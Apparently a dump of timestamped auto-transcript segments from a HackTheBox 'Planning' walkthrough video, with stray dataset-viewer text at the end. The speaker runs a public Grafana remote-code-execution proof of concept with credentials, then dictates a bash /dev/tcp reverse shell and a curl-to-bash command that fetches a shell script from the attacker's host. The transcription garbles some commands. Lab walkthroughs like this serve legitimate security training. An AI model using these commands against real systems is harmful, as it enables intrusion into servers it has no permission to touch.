"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
Uh, let's see. Disable burpuite. Refresh. Okay. Um, websites can detect if you're using burpuite. I think it's based upon like the um I know it's not germ because I think germ is the fingerprint of the server but essentially it fingerprints the um encryption algorithms that you support and that's how it identifies kind... | 836.959 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
So, let's go here. It is loading the GitHub page and let's see PC demonstrates SQL read and um code execution can only happen on 11 but it looks like future versions may have a way to do file disclosure. Uh this is using version 11. So we should be able to get rce. So I'm going to do a get clone on this. Let's go in he... | 895.12 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
It uses the module 10. Let's just do a Python 3M VM.VM and we can do a source bin activate once this creates the virtual environment. | 924.72 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
Uh VM bin activate pip 3 install-r requirements.ext to start installing these. And while that goes let's see uh we want to use C. | 937.519 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
So we can do Python 3 user pass and then copy this. | 950.24 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
So let's do this. Uh this will be graphana planning htb. I'm just going to run the shell command ID to see if we have like um command reflection admin password. Let's go back to here. Make sure we grab this. | 956.8 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
Uh that paste was odd. I think that's fine. That looks it. Run it. And let's see. We have command execution, right? So since I'm putting this in um here, what I'm going to do actually is uh let's do shell.sh SH and we can say bash- C b- I dev TCP 1010 1048 90001 0 and 1. So if I try to put everything like my whole comm... | 977.36 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
Um, put it in quotes. | 1,052 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
That's funny that it did ID. I guess it just worked for my last command. Um, we have an error message here. Syntax error bash. So, it doesn't like all those special characters. Um, so actually, let's do a make dubdubdub. And then we'll copy shell.sh. | 1,060 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
Uh, did I have it? Wait, what? Oh, shot is here. Um, go here. Dub dubdub. There we go. So, my command I'm just going to do a user bin curl http 10 1048 8000 shell.sh pipe over to bash like that. | 1,080.08 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
Python 3M http server and see if this works. It does. Um, and we get the shell there. I'm curious if I tried to do this. Uh, let's try if I didn't try to get fancy and put in a file to put in the thing, would it have worked? | 1,110.799 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
Let's just do this real quick. dev tcp 10 104 8 91 and one. Is this going to work? | 1,132.32 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.